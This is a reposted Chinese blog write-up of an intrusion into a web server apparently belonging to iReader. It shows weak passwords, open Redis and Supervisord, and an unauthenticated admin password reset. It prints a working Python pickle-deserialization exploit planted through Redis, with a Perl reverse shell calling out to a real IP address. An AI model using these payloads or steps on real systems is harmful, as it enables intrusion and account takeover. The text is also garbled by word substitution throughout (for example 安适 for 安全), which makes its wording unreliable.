当前位置:首页 > 电脑常识 > 正文

掌阅iReader某站Python缝隙挖掘 8090安适门户

11-20 电脑常识

Python作为新一代的web开发语言,不少互联网公司表里网使用其开发站点。Python web周边还存在redis、memcached、mongod、supervisord等等处事,我们结合这些处事的一系列安适问题,将可以做很多有趣的工作。

方针端口开放了 6379、8080~8086、8889、8079

首先,8080~8086、8889都是web处事,而且是一个站,6379是redis、8079是一个web处事但有http根本认证。

逐一击破。

8080~8086、8889:存在弱口令admin - admin1234

6379:存 在redis未授权访谒

8079:存在弱口令user - 123,登录检察发明是Supervisord打点页面

从易到难,先看redis,也许可以直接通过redis拿下root。

redis已经被人扫过,写过公钥:

写入/root/.ssh/和/root/目录提示如下:

(error) ERR Changing directory: Permission denied

可能是redis被降权了。再试一下写crontab。

可能真是被降权了。

我们看看redis里面放了些什么:

看这个 (dp1\nS'user'\np2\nI7\ns. ,长的就像python里的Pickle。而Pickle是可以执行python代码的。

所以,屡一下思路:

网站是python开发的

redis可写文件,但权限有限

redis中存着序列化字符串,可能是被用作session

python反序列化过程中可以执行代码

所以,我想到如下两个思路:

操作redis写一个python的webshell

操作反序列化直接执行python代码

明显,第一种要领需要 1.知道web路径 2.redis有权限写web目录 3.可能要重启web处事(但因为我们有Supervisord打点权限,所以重启处事也不难)

第二种要领较为实际。所以,我写一个python pickle反序列化操作的脚本:

#!/usr/bin/env python # import cPickle import os import redis class exp(object): def __reduce__(self): s = """perl -e 'use Socket;$i="159.203.220.19";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'""" return (os.system, (s,)) e = exp() s = cPickle.dumps(e) r = redis.Redis(host='xxx.xxx.xxx.xxx', port=6379, db=0) r.set("e6c36e69a9cf9543243d7921aa1a3d8093b49441", s)

执行这个脚本,就可以向*.*.*.*:6379的redis中写一个key为e6c36e69a9cf9543243d7921aa1a3d8093b49441,值为序列化字符串的session。

然后我们来到*.*.*.*:8080,将cookie设置为session_id=e6c36e69a9cf9543243d7921aa1a3d8093b49441;刷新页面,那边的shell就弹好了:

分析一下它的nginx,可以发明他是将python措施开在8081~8086的端口上,并用nginx监听8889端口反向代办代理做负载均衡(觉得有点画蛇添足):

upstream tornado_cmread{ server 127.0.0.1:8086 max_fails=2 fail_timeout=30s weight=1; server 127.0.0.1:8081 max_fails=2 fail_timeout=30s weight=1; server 127.0.0.1:8082 max_fails=2 fail_timeout=30s weight=1; server 127.0.0.1:8083 max_fails=2 fail_timeout=30s weight=1; server 127.0.0.1:8084 max_fails=2 fail_timeout=30s weight=1; server 127.0.0.1:8085 max_fails=2 fail_timeout=30s weight=1; keepalive 16; }

supervisord 存在弱口令

[inet_http_server] ; inet (TCP) server disabled by default port=*:8079 ; (ip_address:port specifier, *:port for all iface) username=user ; (default is no username (open server)) password=123 ; (default is no password (open server))

根基可以确定这个站和掌阅有关系:

邮箱一枚:

git log可检察提交日志:

然后简单看看代码,就发明一处未授权改削打点暗码:

class LoginHandler(BaseHandler): """ 用户登陆退出改削暗码模块 """ NEED_LOGIN = False .... def update_password(self): """ 改削暗码 :return: """ user_id = self.get_argument("user_id", 0) password = self.get_argument("password", "") service = Service.inst() try: service.inst().user.update_password(user_id, password) self.api_json({"code": Status.SUCCESS, "msg": "改削告成"}) except Exception as e: logging.error("改削暗码掉败=%s", str(e), exc_info=True)

self.api_json({"code": Status.ERROR, "msg": "改削掉败"})

NEED_LOGIN = False,这个类是无需登录就可以访谒的类,而改削暗码的要领update_password却在这个类里……

只需要传入user_id=xx&password=123456,即可将user_id为xx的用户暗码改为123456,试一下(admin的id=7):

登录(admin-123456)OK:

温馨提示: 本文由杰米博客推荐,转载请保留链接: https://www.jmwww.net/file/pc/12724.html

博客主人杰米WWW
杰米博客,为大家提供seo以及it方面技巧喜欢的朋友收藏哦!
  • 11365文章总数
  • 1378074访问次数
  • 建站天数
  •